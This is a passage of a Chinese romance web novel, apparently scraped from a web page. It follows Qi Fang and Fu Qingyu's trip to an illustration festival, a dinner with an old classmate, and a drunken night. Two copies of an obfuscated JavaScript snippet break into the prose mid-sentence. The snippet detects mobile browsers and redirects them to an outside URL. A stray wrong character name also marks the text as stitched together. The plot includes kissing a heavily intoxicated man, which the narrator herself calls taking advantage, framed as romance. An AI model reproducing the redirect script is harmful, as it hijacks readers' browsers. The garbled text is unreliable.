颜泠那边跟工作人员沟通了两句,才抽空回他,“回来了,今天刚回来的。我这边有点事,先挂了,特产和钥匙,别忘了。” 颜泠匆匆说完,没等他应声,就挂了。 祁放对着手机愣住,等回过神,立即给付轻屿发了条消息:你回来了,怎么不和好朋友说一声,我好给你接风呀。 祁放:到家了吗? 祁放:吃饭了吗?请你吃个饭,行不? 十多分钟没收到回信,祁放有些坐不住,恨不得跑去家门口等。但是,仅存的一丝理智将他绑在椅子上,反复叮嘱他,这样做不好,不成熟,不要给付轻屿造成压力,轻松些。 杨灿看他动来动去,“你要干啥,火烧屁股了?” “吃你的。”祁放灌了口水,压压燥劲。 过了半个多小时,付轻屿才回信:消息挺灵通。到家了,也吃饱了,下次吧。 祁放撇嘴回她:行吧。你这消息冒着冷气,显得咱俩都不热乎了。 付轻屿不接招:人体正常温度,再热乎就该吃退烧药了。 付轻屿接着发了条热乎点的消息:都考完了? 祁放撇着的嘴角不值钱地扬上去:嗯,都考完了。我求你个事,行不? 付轻屿:你先说事。 祁放:北淮插画艺术节邀请我参加了,你能陪我一起去吗?费用全包,就当出去玩一玩。我上个画稿的尾款结了,请你吃大餐。吃喝玩乐绝对给你安排好。 艺术节这件事,祁放准备了一个多月,就是想让付轻屿看看他的蜕变。 付轻屿要去旅游的消息,还是颜泠意外透露给祁放的。当时,他脑子里就一个念头,付轻屿要把他甩开,不要他了。 其实,仔细想想,他和付轻屿的关系,根本就没有‘要不要’这一说。 付轻屿没有要过他。 就算付轻屿对他有点好感,又能怎么样? 只不过是点到为止的‘好朋友’关系。 她想去哪,想和谁去,想发展怎样的关系,他没身份多问。只能乖乖等着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966559|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盼着付轻屿快回来,自私地期盼着没有另一个男人夺走她的注意力。 还有那不知深浅的好感,更让祁放提心吊胆,生怕那件事做过了,它就跟着磨平冲淡。 两个多月,他只能让自己忙一点,再忙一点,让身体上的劳累压住心里的不安全感。 实在压不住的时候,就开始反思。 思来想去,又无计可施。祁放觉得,关于追人,他已经足够不要脸了,没招人烦就够好的了,再过点,那真成耍流氓了。 聊天框半天没动静,祁放坐不住了,连着发了几个‘求求你’的表情包。 祁放:真的不行吗,一天就好。 “艺术节会有很多画手,很热闹的。北淮的特色菜,听说很好吃……”祁放看着输入框,把消息都删了。 祁放:你玩了这么久,刚回来,肯定也累了,好好休息。我到时候给你拍视频,感觉会很有意思。 祁放深呼一口气,鼻子酸酸的,噎了两口饭。 手机屏幕亮了下,付轻屿:哪天去? 祁放没出息地落了两滴泪,快速回复:后天。后天早上出发,十点到场。行吗? 付轻屿:行。 一瞬间,祁放压抑了两个月的情绪,随着一个‘行’字全部释放了。 陈昊飞和杨灿看着他又哭又笑,吓得半天没说出话。 “祁放,祁放哎,”杨灿咽了口唾沫,唤了他两声,“好好地吃饭呢,你这是咋了,鬼上身啊?” 祁放抽了张纸巾挡在脸上,“没事没事,太好吃了,你们快吃。” “不是,你这个样子,我有点怀疑菜里下东西了。”杨灿看了看锅里的菜,又看了看祁放,最后给陈昊飞使了个眼神,“这是怎么了?” 陈昊飞眼神回应,“追的姑娘回来了。” 杨灿恍然大悟,点了点头。 “今天我买单,你俩都别跟我抢。”祁放擦了把泪,缓过来不少。 “放心吧,不跟你抢。”杨灿笑着喊了声服务员,“姐,再加一斤肉,两根腊肠,熏鸡架也来两。” 陈昊飞:“怎么撑不死你。” 杨灿嘿嘿一笑,“撑死我也乐意,一会整点健胃消食片吃。” 陈昊飞笑着怼他,“德行。” 祁放没参与两人的嘴架,拿着手机回消息:我最喜欢你了。 祁放:好朋友。 付轻屿看完消息将手机丢远,挠了挠头,深呼一口气,心说:“完蛋了啊,付轻屿你完蛋了啊。又不是小女生了,一条消息而已,随口一说而已,心跳别这么快啊。” 可是,心里空落落的感觉被塞满了,开始发胀……确实想他了。 想见他。 付轻屿拍拍自己的脸,转身去浴室泡澡,让自己清醒过来。 冷静了一晚上,付轻屿竟给自己冷静出‘小别胜新婚’的感觉,不自觉地挑选见面穿的衣服,等自己察觉到时,连发型和搭配都想好了。 付轻屿抱着脑袋摇了摇,肯定是太久没见才会这样。她和颜泠太久没见时,也会期待见面。 没错,就是这样。 29. 29 七点四十多的车票,除去从家到车站的时间,祁放跟付轻屿约着七点出发。 付轻屿六点起床,简单画了个淡妆,收拾出门带的东西,心里隐隐有一丝失落。 照祁放的行事风格,付轻屿以为他昨天就会过来,两人可以先吃个饭,就跟之前一样。结果,晚饭时间都过了,才收到祁放约定出发时间的消息。 关系淡了。 付轻屿抿了下嘴,就做朋友,挺好的。 出行还是以舒适为主,蓝格大衣搭配运动鞋,黑发微卷,付轻屿没带饰品,整个人显得很随性。 香水也是常用款,葡萄果香中透着淡淡的茉莉味。 付轻屿看了眼时间,拎起包,急匆匆出门,掏出手机给祁放发消息。 “轻屿。” 付轻屿一手关门,聊天框的消息还没发出去,就听到了祁放的声音。 “你什么时候来的,怎么不发消息?”付轻屿一脸错愕,抬头看他。 祁放手里拎了早饭,笑着说:“反正你要出来,不想催你。” 付轻屿快速看了他两眼,“走吧,赶车。” 祁放应了声“好”,跟在她身边。 好久没见,祁放头发应该剪过,一身黑灰色搭配,看着沉稳了不少。付轻屿看着电梯楼层变化,微妙的尴尬、兴奋和不知所措裹挟着两人。 电梯门打开的瞬间,祁放给她递了袋豆浆,“吃早饭了吗?” “没呢,”付轻屿没拒绝这份心意,“谢了。” 祁放的眼神就没从她身上离开过,笑着说:“啊?出去一趟,就跟我这么客气了。” 付轻屿笑了下,“这叫有礼貌。” 祁放似笑非笑的“嗷”了声。 祁放提前打了车,从家到车站不过二十分钟,两人陷入了一种奇怪的静默中。 祁放偷偷扫过付轻屿几眼,又低下头。 直到下车,两人一前一后走着,祁放忍不住开口叫停付轻屿。 他搓了把头发,尽量表现的不丧气,“你是不是对艺术节没什么兴趣啊?不去也没关系,没必要硬挺着。要是遇到好玩的事,我给你拍视频也行。” 付轻屿承认,她复杂的情绪中夹杂了一丝失落,或许是对祁放沉默的不习惯。但是,绝对没有不耐烦,或者表现出不想去的样子。 “怎么了?”付轻屿看他,耐下心来问,“怎么突然这么说?” “我感觉你不太开心。不去也没事,真的。你别因为我……”祁放顿了下,“别因为我一直烦你,你就强迫自己去,真的,不去也没事。” “我早上六点起来化妆收拾,你觉得我不想去?想什么呢?”付轻屿看了眼手机,转身往车站走,“快点,要赶不上车了。” 祁放被付轻屿塞了颗强效定心丸,先是一愣,又屁颠屁颠跟上去,“这么早就起了啊,困不?” 付轻屿摇头:“睡得早,醒得就早。” “幸亏昨天晚上没找你。”祁放笑了下,“本来想找你吃个饭的,结果老师留我们干了点活,忙到晚上,饭点都过了。” 听到这句话,付轻屿心里乱糟糟的,说不清什么感受,只觉得全身松了股劲,不再拧着,跟祁放之间回到了某个平衡点。 祁放:“好玩吗?” 付轻屿回他一个疑惑的表情。 祁放笑:“外面好玩吗?” 付轻屿实话实说:“还行吧,挺舒坦的。” “嗷。”祁放的小狐狸尾巴逐渐藏不住,“没遇到好玩的人吗?” 付轻屿拿出证件,等着检票,祁放就站在她身后,微微探过头问,将距离拉近。 付轻屿偏头看他,两人距离就更近了,“说没遇到,你信吗?” 祁放神情一滞,撤开身,站直,生硬的“嗷”了声。 安静半晌,付轻屿听身后传来句,“异地恋不靠谱。” 付轻屿想回头看他,检票播报响起,打断了。 坐上车,祁放拉开书包,拿出两盒甜品递给付轻屿,“尝尝。” 祁放有点情绪,全写脸上了。甜品包装很精美,付轻屿瞧着,总感觉有股醋味。 祁放看她不为所动,“我记得你吃甜食啊。” 付轻屿拆开包装,“这是你喜欢吃的?” “我不太吃这些。”祁放说,“这家店是学校新开的,每天都有可多人排队了,特别火,应该挺好吃的。听我们班同学说,好像是江城第一家,别处吃不到,你尝尝。” 付轻屿不太喜甜,低情绪时,会吃点。听完祁放的话再尝,总觉得甜过头了。 祁放不说话,黑眸里闪着光,一副邀功的小表情。 付轻屿给小功臣投喂了一块曲奇,把他酸溜溜的醋劲消了。 北淮的经济发展好,艺术节年年都办,这次展馆规模差不多三万平方米,更是聚集了一波国际艺术家。 祁放和付轻屿提前半小时到场,出来接应两人的工作人员是个小可爱帅哥,也是祁放的高中同学,唐帆。 “两年没见,出息了,祁大画手。”唐帆个子不算高,一米七多点,人长得胖乎乎的,很白净,小圆眼提溜转,看着就招人稀罕。 这次艺术节,祁放没腾出时间过来布展,找了唐帆帮忙。唐帆是个热心肠,高中跟祁放做过前后桌,两人性格合的来,一直玩得不错。时隔两年,朋友一句话,这关系又热络起来了。 “少损我。”祁放笑着拍了拍他,“你们志愿者啥时候忙完,我请你吃饭。” “那得明天散场,不用你说,这顿饭跑不了你。”唐帆转头看向付轻屿,笑着点了点头,“你是祁放女朋友吧,我是他高中同学唐帆,叫小唐小帆都行,怎么顺嘴怎么叫。” 还没等付轻屿说话,唐帆圆滚滚的胳膊怼了祁放一下,“你小子,好福气啊。” 祁放笑了下,“还不是呢。” 唐帆的眼神在两人身上打了个转,赶紧给付轻屿赔了个不是,“不好意思哈,我寻思岔了,嘴比脑子快,你别介意。” 付轻屿摇头笑笑,“没事,我叫付轻屿,也是祁放的朋友。” 唐帆乐呵呵地点头,带两人入场。 付轻屿初高中时,真心实意地喜欢过画画,直到高三那两年,靠画画纾解压力,最初单纯的喜欢就变了味,之后很长时间没动过笔。 一停,之前的心气就飞了。 再后来,做模特自然接触到了服装行业,可能是心里放不下那根画笔,付轻屿自学了服装设计。 各式各样的画作,争前恐后地掠夺视线,企图能与行人完成灵魂碰触。 走到一个小展台前,付轻屿停住脚步,海报上展示了一个羽人,只有一只翅膀,另一只翅膀的位置被千丝万缕的银丝替代,似要冲出画布,牢牢将人缠住。 羽人面带微笑,鲜红的眸子死死困住画布前的人,似乎在跟她说,“我需要你。抱抱我。” “轻屿。”祁放拍了她一下,“过来坐吧。” 付轻屿全身震颤,回过神来,左右看看,唐帆已经没影了,不知道什么时候离开的。 祁放又搬了个凳子,放在展台内。 付轻屿看了看祁放,又看向画作,“这是你画的?” 祁放指着海报右下角的小字,笑着说:“这里有署名,‘示邑’组在一起就是祁字。” 付轻屿点头,视线又落回画上。她看过祁放的几篇短漫,这幅羽人,尽管风格与之前皆不相同,还是能从画风上看到些相似的影子。 祁放顺着她的视线看去,“你喜欢这副画啊?” 付轻屿没正面回答,只说:“画得很不错。” 小展台上摆放的卡纸,付轻屿挨个看了遍,有种发现自己猫会后空翻,又惊又喜的感觉。她顺带夸了夸祁放,“挺厉害啊。” “只放了一部分,我账号上还有好多呢,你要不要看?”祁放说着,已经把账号翻了出来。 付轻屿接过手机,是个没听过的软件,用户名是‘示邑’。“我可随便看了。” 祁放“嗯”了声,又拍拍一旁的凳子,“坐下看吧。” 两人坐在展台后,祁放负责绘签,付轻屿将他的画作看了个遍。 二十多万粉丝,付轻屿看评论区,很温和,大多数都是夸赞,也有些建议,很少出现极端词汇。 祁放准备的东西不多,定价便宜,主要是想来玩一圈。付轻屿看完后,把手机放到一旁,帮他打包小物件。 付轻屿发现祁放不会一心二用。绘签时,他专心画,不会主动开口,碰上有人跟他聊天,手里动作会先停下来,说完了再继续画。 忙活了四五个小时,艺术节还没过半,祁放的小摊位就空了。 付轻屿拿了两瓶水,给祁放递过一瓶,“祁大画手,辛苦了。” “你别逗我。”祁放笑笑,接过水,灌了两口,“饿吗?” “你那甜食太顶,”付轻屿没参加过艺术节,方才匆匆几眼,觉得蛮有意思,起了兴致,“逛一逛?” 祁放欣然点头,“行呀。” 艺术节上有几个画师跟祁放都认识,算是网友,时不时互相探讨画技,彩虹屁更是免不了的,线下没见过面。 这次有机会碰面,祁放带付轻屿挨个见了遍。 最开始被误会是情侣,付轻屿还会解释一下,次数多了,她就笑笑,懒得解释了。祁放一直都是那句,“现在还不是女朋友。” 两个展馆逛下来,差不多四个小时,付轻屿玩得开心,还收了几个冰箱贴。 “付轻屿?” 听到是男人的声音,付轻屿还没回头,祁放已经将人打量了一遍。 付轻屿寻声看去,脑子飞速旋转,定位到一个名字,“徐家明?” “不容易啊,还能认出我来,我还想着来段自我介绍呢。”徐家明面上挂着笑,“差点没敢认你,真是女大十八变,更漂亮了。” 付轻屿嘴角挂着标准的微笑,“怎么会认不出来,老同学了。” 单看模样,付轻屿真没认出来。徐家明高中的时候有点胖,这几年应该有减肥健身,小西装一穿,大变样儿了。 举手投足的气质没变,板正又带点装。 付轻屿对表没什么研究,不过看他转着手腕,有意无意地展示,心想:“这表应该挺贵的。” 徐家明开始整理衣袖,暗戳戳露出袖扣,付轻屿依旧没接招。他转移注意力,看向祁放,对上不友好的视线。 “这是你……弟弟?”徐家明将祁放打量一遍,眼神略带挑衅,加重了‘弟弟’两个字。说完这句话,他才看向付轻屿。 付轻屿:“朋友的弟弟。颜泠还记得吧,他是颜泠的弟弟,叫祁放。” 徐家明高中追过颜泠,被拒绝得很惨烈。不过他这人脸皮厚,脑回路也奇特,没过两周又去追颜泠同桌了。 徐家明人不坏,热心肠,就是有点装,特别是在女生面前,甭管喜不喜欢,都爱孔雀开屏。若是在场有其他雄性,那就更要一较高下,大展‘雄风’。 付轻屿故意提起这事,想挫一下徐家明的装劲,让他手脚消停会,别在变着花地展示自己。 徐家明根本没当回事,一伸手,亮出自己的腕表,“快七点了,老同学见面不容易,一起吃个饭,叙叙旧。附近有家中西结合的餐厅,非常不错,有腔调。我请客,老同学赏个面,带着弟弟一起。” 付轻屿本想拒绝,转念一想,徐家明吹嘘自己,肯定要拉出几个老同学说事,这些八卦,颜泠肯定爱听。 不去,少场戏看。 再说,徐家明高中担任班长,大小事上帮过她不少,一顿饭,还是吃的着的。 付轻屿笑了下,“那就麻烦老同学了。” “走吧,我去开车。”徐家明走在前面给两人带路,“你们是过来玩的?” 付轻屿:“不是,他受邀参加艺术节,我顺便过来玩。” 徐家明没看祁放,笑了下,“我们这个展是这两年办的最大的,布置装饰这些,弄了一个多月,任务重啊。” 付轻屿听出来了,给主办方打工的。 徐家明闲话不少,多数在吹嘘自己,除了脑回路奇特点,没什么坏心眼。付轻屿想套什么话,稍微一点,他自己就开始滔滔不绝。 出了展馆,徐家明去开车,付轻屿和祁放原地等了会。 祁放看着徐家明离开的背影,背头、小西装、亮皮鞋和露在外面的大手表,透着两字‘成熟’。 “像买保险的。” 付轻屿这才反应过来,祁放半天没吭声了。 “奇亚的西装,挺挑人的,也得看搭配,领带选的太花哨。”付轻屿看着徐家明的背影,“他买大了。这款西装,袖口露出小节衬衫会更显层次和气质,裤脚的堆积会显得有些邋遢。” 奇亚是个奢侈品牌,几万块的西装,正常来说,肯定是要合身才好看,徐家明可能是打折买的,或者是人瘦了。 “好有见解。”祁放盯着付轻屿,不喜欢她目光停在徐家明身上,“你喜欢看男人穿西装?还是喜欢穿西装的男人?” 付轻屿认真想了下,“看情况吧。” 祁放追着问:“什么情况下喜欢?你说说。” 男人穿西装被压的时候,还蛮有看头的。 付轻屿心里这样想,嘴上只说:“特殊情况。” 特殊情况?祁放想象力匮乏,一顿苦思,没能想出付轻屿嘴中的特殊情况。 徐家明落下车窗,鸣了下喇叭,“上车吧。” 祁放手疾眼快地坐上副驾驶,宁可恶心死自己,也不能给徐家明机会。他看向付轻屿,装模作样地说:“我晕车,让让我。” 付轻屿看破祁放的小心思,只是点点头,去后排坐着。 祁放给了徐家明一个要死不活的微笑,“麻烦了。” 徐家明没看他,笑着说:“没事,照顾小辈嘛,应该的。” 祁放没说话,给了张黑脸。 徐家明选的餐厅很有格调,原木风装修,绿植鲜花包围,暗黄调灯光,桌上还摆了个小灯笼。 圆桌不小,祁放坐中间,徐家明和付轻屿面对面,开始了一场诡异的饭局。 每道菜上桌,徐家明都要从材料原产地介绍到加工步骤,比二十年的老厨师还专业。除了炫耀‘眼界’,还要炫耀自己,从大学到工作再到薪资待遇,全方位展示一遍。 提到工作上的事,付轻屿跟他有些共同话题,有的聊。 老同学见面,绕不开以前学校那点事。祁放插不上嘴,只能在一边听着,化悲愤为食欲,灌了徐家明一瓶好酒。 上酒的时候,徐家明逗祁放,说小孩不能喝,又吹嘘自己小一万块钱的葡萄酒。一个没注意,酒见底了。 一瓶洋酒进肚,祁放喝得急,开始没什么感觉,听着两人闲谈,后劲逐渐上来,晕晕乎乎的。他一手撑脸看付轻屿,整个世界都在转,连耳边的声音都在转。 “啪嚓——” 随着筷子落到桌上,付轻屿伸手拖住祁放的脸,将人往后放,倚靠在椅子上。 对话突然被打断,徐家明一愣,又转头看向酒瓶,空了。 徐家明瞧了瞧祁放,“醉迷糊了,还挺能喝,干了一瓶。” 付轻屿怕祁放乱动,一手搭在他胳膊上,防止人东倒西歪摔下去。听徐家明一说,她抬眼看向酒瓶,笑着说:“这单,我买。” 徐家明急忙拒绝,“不让女生买单是我的原则。小钱,别客气,老同学见面,开心最重要。” 徐家明虽然爱吹嘘自己,但不是说虚话的人。人在外面飘,多个朋友多条路,付轻屿也没跟他客气,“我这人情先放这了,有需要的地方,别不好意思张口。” “没问题。”徐家明笑笑,“现在怎么安排?我送你们回去,还是?” 没订房,也没订票,让徐家明一问,付轻屿也没想好该回哪,“不用了,他朋友来接,我还有其他事。” 徐家明结账,又絮叨了几句,才离开。 祁放走路晃晃悠悠,好在还能听懂话,付轻屿说什么,他就做什么。 付轻屿搀着祁放,在附近便利店买了水和酸奶。 饭店不错,就是地有些偏。夜色中,一条街看不到头,没什么门店。 付轻屿带祁放坐在路旁的长椅上,想等他醒醒酒,顺便拿起手机,看了看酒店。 长椅靠背低,付轻屿怕祁放一不小心仰过去,紧挨着他坐的,让他靠了靠。 冬天的夜,没风也足够冻人。祁放寻着热源,又往付轻屿身边贴了贴。 付轻屿察觉到他动作:“难受了?” 祁放嘴张不开,黏黏糊糊地“嗯”了声。 付轻屿:“叫你贪人家酒喝,难受着吧。徐家明这瓶酒不便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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付轻屿转头找纸巾,手指上被什么东西划过,湿湿的,热得烫人。就这一下,从她心尖麻到头皮。 祁放脑子迷迷糊糊的,像找到了什么宝贝,只是舔还不够,又吸又吮,不仅把酸奶吃了,也把付轻屿的手指尝了个遍。 半晌,祁放终于放过她的手指,呆呆地瞧了几眼,举到付轻屿面前邀功,“看,都干净了。” 指关节被他吮得发红,付轻屿看了眼,甚至还感觉祁放的牙齿舌头在上面磨。她没喝几口酒,这时却感觉酒劲上来了,全身热得慌,迅速把手撤了回来。 祁放很不满意她的反应,醉了酒的脑子又转不过弯,呆愣一会,朝人肩膀砸去。 “你就不想我吗,我可想你了,我真的好想你。”祁放挨在她肩膀,想往人怀里躲,一转头,眼泪先掉了下来。 滚烫的泪掉到付轻屿脖颈,都已经冰凉了。 付轻屿脑子里正乱着,又被这滴眼泪砸的一颤,偏头看了眼他。 祁放鼻尖泛红,睫毛上挂着泪珠,也不说话了,泪水顺着泛红的眼尾流个没完。任卷舒实在不忍心,手指给他蹭了蹭泪。 都说‘男人三分醉,演你到流泪’,付轻屿是真信了。不知道祁放几分醉,她心里是真受不住了。 付轻屿叹了口气,“喝傻了,说梦话。” 祁放半梦半醒脑子努力接收信号,“是做梦啊,怪不得,还能靠着你呢。” 付轻屿无奈笑了下。 祁放抬了下头,在她耳朵下边喃喃,“你亲我一下吧。” 付轻屿吓了一跳,耳根子都被他说烫了,蹙着眉头说:“祁放,你到底醉没醉?” “我不要你这个语气,你跑到我的梦里来,你还欺负我。”祁放撑起身看她,眼神有点散,目光从付轻屿的眼睛划到嘴上,“你出去跟别人玩得开心,我做个梦,你还来说我。你知道我这两个月怎么过的吗?心里想你想的难受,就算你亲死我,都难受的那种……” 他话没说完,唇上落了一丝冰凉,很快就撤开了。 酒精的加持下,祁放有点傻了,直愣愣地看着付轻屿,眼底的泪水都变得亮晶晶的,冒着傻气。他伸手碰了碰嘴唇,像是不敢信。 付轻屿抿了下唇,太冷了,唇瓣都是凉的,心却被祁放捂热了,捂得迷迷糊糊,不受控制了。 付轻屿知道两个月不见面多难受,她只是觉得难受是正常的,难受过去就好了。 祁放舔了舔嘴唇,像是个讨到甜头的小孩,又往她面前凑了凑,“再亲一下。” 色令智昏的事有一次就够了,付轻屿偏过头,“不行。” 祁放撅了下嘴,撑着身子往付轻屿面前绕,用鼻尖蹭蹭她鼻尖,“你太快了,我都没反应过来,最后一次,行不?” 付轻屿听这话,莫名有种上火,头偏得更远,“不行。” 祁放不追了,开始委屈,“你是不是嫌我烦,一点都不喜欢我了啊。我都快没办法了,我都不知道咋追你了。我就知道你嫌我烦了,我咋这么烦人呢……” 付轻屿心里酸一阵紧一阵的,怎么听都难受,心想:“她怎么把人为难成这样了?” 祁放垂着眼,往一旁撤了撤,做出要拉开距离的架势,“不招你烦了,我也烦自己。” 付轻屿受不了祁放这么说,委屈到她心里了,明明挺好一人。 祁放一边给她喂甜枣,一边给她心口捅刀子,让她整个人快撕裂开了,也不想管那么多了。 付轻屿一手按住他后脖颈,将人拉倒面前,“张嘴。” 祁放直接呆住,话听不懂了,嘴也不会张了。 付轻屿捏着他的嘴,直接吻了上去 祁放不会接吻,不知道怎么配合,嘴里被搅得酥酥麻麻,费力追着她的节奏,忍不住吭了两声。 付轻屿吻得太凶,想将他那些委屈都夺过来,嚼碎吞了,不留余力地翻弄。 这个吻越发深,祁放开始受不住,他的嘴唇、舌头、喉咙阵阵酥麻,要不是后颈被按住,整个人早就瘫下去了。 他确实醉了,大脑发出骇人的信号,他快死了,他快要被吃掉了,他开始小幅度地挣扎,可惜后颈的手不放过他。 祁放吭吭唧唧的声音,就像催情剂,缠绕在付轻屿的耳边,让她更加肆无忌。 祁放感觉要窒息的瞬间,这个吻也结束了,冷风贴到他嘴唇上,活过来了。 祁放看着付轻屿,眼尾嫣红,眼神是散的,脸上的泪水,都在诉说他受不住了。 付轻屿给他擦了擦嘴角,祁放嘴巴微张着,还能看见被叼红的舌尖,水汪汪的,满是情.欲。 付轻屿轻声说:“好了,不闹了,梦该醒了。” 她在说给祁放听,也在说给自己听。 祁放缓不过劲,又反应不过来她说的话,又一头栽到她肩颈躲着。 “疼。” 付轻屿捏着他的嘴看了看,没破,“哪疼?” 祁放挣开她的手,躲回去,“疼,涨的疼,付轻屿,疼……” 付轻屿愣住,反应过来她说的是什么地方,仰头叹了口气,“忍着。” 祁放醉得稀里糊涂的,哪能这么听话,就在她耳根子下面闷吭,喘息,叫她的名字。 付轻屿真恨不得自己是个剃了发的尼姑,能心如止水,四大皆空。要不然,谁能受得了喜欢的人在耳边这个样子。 付轻屿之前听过舍友的猫发情,祁放跟那猫比起来,简直是有过之而无不及,虽然声音小,每个调都挠在她心尖上。 色字头上一把刀,付轻屿实在受不了了,伸手捂住他的嘴,这才稍微消停了会。 唇上贴了股温热,祁放以为是要接吻,便回忆着刚才的样子,用舌头去找,在指缝中来回寻。 付轻屿的静心功练到走火入魔,心想找块豆腐撞死算了。 祁放找了半天,没有刚才的感觉,以为付轻屿不张嘴,不跟他亲了,气得他叼了下。 付轻屿被他咬疼了,一下子收回手,指根上多了个小牙印。 祁放也消停了。 零下十度的晚上,付轻屿感觉自己能原地自燃。 付轻屿搓了搓头发,之前真是拿自己当和尚了,还想着顺其自然,等祁放退开。现在可好,自己这春心动了,不仅动了,还趁着人醉酒,给人亲出反应了。 付轻屿转头看了眼祁放,都是你情我愿的事,又是喝醉的情况,只要她不说,就没人知道。 不能再失控了,得离他远点。 30. 30 祁放一醉,醉到第二天下午,手机铃声震了三次才给他震醒。 眼睛睁开了,脑子还没醒,祁放手指不听使唤地滑了好几下,终于把震人的铃声打断,接通电话。 唐帆乐呵呵地问他,“在哪呢,还在北淮吗?” 祁放撑起身,瞧着陌生的房间,半天才反应过来,这是酒店。 唐帆没听见回声,又问了遍。 祁放顶着千斤重的脑袋,看了眼手机定位,还在北淮,已经快下午两点了。 “在北淮,”祁放一头栽回床上,话音有些沙哑,“昨晚喝多了,这才醒。” 唐帆笑,“没事啊,收拾收拾出来,晚上聚聚。” 祁放“嗯”了声,约好几点出门,闲聊两句,电话就挂断了。 付轻屿呢? 祁放拍了拍脑袋,只记得徐家明和付轻屿在闲聊,说什么有个老同学都结婚了,也没给大家信,后面全断片了。 怎么散的场?怎么到的酒店?一点印象都没有。 祁放稍微缓了下,想要给付轻屿发消息,却看见好几个未读消息中,有她发的一条。 昨天晚上九点多发的。 付轻屿:房间定了两个晚上,醒了回条消息。我还有点事,先回去了。 哎?走了? 祁放呆愣半晌,实在想不起昨晚的事,先回了条消息:我醒了,头晕晕沉沉的。我喝醉了,没干啥吧? 付轻屿:没有。 祁放:我没吐吧? 要是吐了得多失态啊,祁放搓了把脸,给自己发出警告,以后绝对不能再喝醉。记忆空缺一块的感觉,太可怕了。 付轻屿:没吐。桌上有水和药片,头疼难受就吃个。 祁放:好~ 祁放:你那边的事情好处理吗? 付轻屿:还行。先不说了。 祁放回了个好,真信了付轻屿的‘先不说了’。 连续好几天,付轻屿态度冷漠,没说两句就拿‘先不说了’出来断联。祁放才反应过来,这哪是‘先不说了’,这是不想和他说了。 离过年还有半个月,付轻屿回了老家。 不仅消息断联,人也找不到了。 祁放心里不是滋味,又无计可施,仔细琢磨了一下,肯定是他喝醉后出了乱子。 那天晚上的事,不管怎么问付轻屿,得到的回答都是‘没耍酒疯’、‘没吐’、‘醉晕过去了,什么都没有’。 要想聊点别的事,就是‘先不说了’、‘忙’。 祁放看到‘忙’这个字就头大。付轻屿现在没有工作,应该比之前更清闲才对,忙,应该是忙着躲他吧。 这个状态持续了一周,祁放在家半死不活的,眼巴巴盼着颜泠回来。二十年了,他从没如此想过他姐,一天三条消息问候,整的颜泠以为他犯病了。 祁放知道付轻屿在泉州,不知道具体在哪儿。颜泠回来肯定要找付轻屿,他就死皮赖脸地跟着去,这是他唯一能想到的办法。 “你这几天怎么了?要死啊。”杨灿把祁放找出来吃饭,约着下午去篮球馆打球,没想到祁放成了霜打的茄子,要死不活的,“怎么了?前一阵不是挺欢的吗,你追的那姑娘又跑了啊?” 祁放本来就没什么胃口,让他一提,饭都不想吃了,“你找飞哥打球吧,好累,我想回家。” 杨灿诧异地看着他,“累?你说累?!” 祁放一天睡五个小时,学习画画打球一样不落,忙到起飞都没过喊累。大学寒假这么清闲,他居然喊累! 杨灿惊慌失措地看着祁放,急忙掏出手机给陈昊飞打电话,“快点的,你别发烧了,快过来,祁放要死了。” 陈昊飞嗓子都快哑没声了,“四十度,挂水呢,你要我死吗?” 杨灿擦擦脑门的汗,“哎吆,你们一个两个的,这都是咋了?” 祁放说:“你去看看飞哥吧,把我那份也看出来。我回去补个觉,这几天没睡好,实在不行了。” 杨灿也没别的话说,只能应下了。 “不是去吃饭了吗?怎么又回来了?”颜利玫正准备和几个姐妹去逛街,见祁放耷拉着脑袋进门,伸手给人拦下,“你从回家开始就不对劲,怎么了?你跟妈说说,别整天哭丧个脸。” 祁放嘴角弯上去,眉眼还压着,笑的比哭的还难看,“没事,没什么胃口,就回来了。” 颜利玫瞧着祁放,一针见血道:“失恋了?” 祁放转身给自己倒了杯水,“还没谈。” 颜利玫眉头一挑,一副‘了解’的表情,“单方面失恋了。” 祁放无奈,选择不语。 颜利玫整理衣服,叹了口气。从小到大,祁放很少让人操心,他主意正,小到吃饭穿衣的选择,大到文理分科、报考专业,都是自己拿主意。 按时吃饭、注意休息、多吃点水果,这三句话是颜利玫叮嘱祁放最多的,也是她叮嘱颜泠最多的。 真要挑他个不好,小时候太粘人、话多,整天叽里咕噜的,但是他嘴甜,也不讨人烦。 爱跟在大人屁股后面发问的小孩长大了,开始向更广阔的书籍叩问。颜利玫回想了下,除去物质方面,她和祁荣民已经很久没给过他帮助了。 祁放的难题摆在这,颜利玫这个当妈的,多少还是说了几句,“难受啊,感情就这么回事,人家不喜欢你,怎么都没办法。人啊,得往前看,难受也得往前看,往前走,放下,让自己走出去。人有的是,慢慢找,慢慢谈。” 祁放捏着水杯,“我不要,我不放,她没说不喜欢我,也没说让我滚,我不放,也放不下。” “死缠烂打,跟你爸一个德行,随根上了。”颜利玫皱眉看他,“那你去追啊,你在家丧啥呢?她还能自己来我们家啊?” 祁放想了下,也不是不能,得先让颜泠回来。 “我等东风呢。” “等吧等吧,等东风,你是不是还得借俩箭啊。”颜利玫没了当妈的兴致,“我晚上不回来吃了,跟你爸说声,不用去接我。” 祁放:“我说了,他也不听啊。” 随着关门声响,他这句话也被关在屋里。 祁放翻出个苹果吃,继续烦颜泠,“姐,你到底什么时候回来?” 颜泠:晚上。 祁放激动地从沙发上弹起来,回复她:几点啊,我去接你。 颜泠:不用了,有人送,你在家门口守好就行。 祁放立即冲进浴室,给自己一顿收拾,选衣服挑配饰,新媳妇上花轿都没他能折腾。 全都收拾好,才两点多,就等晚上见付轻屿了。 祁放头脑兴奋,也不累了,想起远在医院的兄弟,自己打扮的像个花孔雀一样,屁颠屁颠跑到医院去探望。 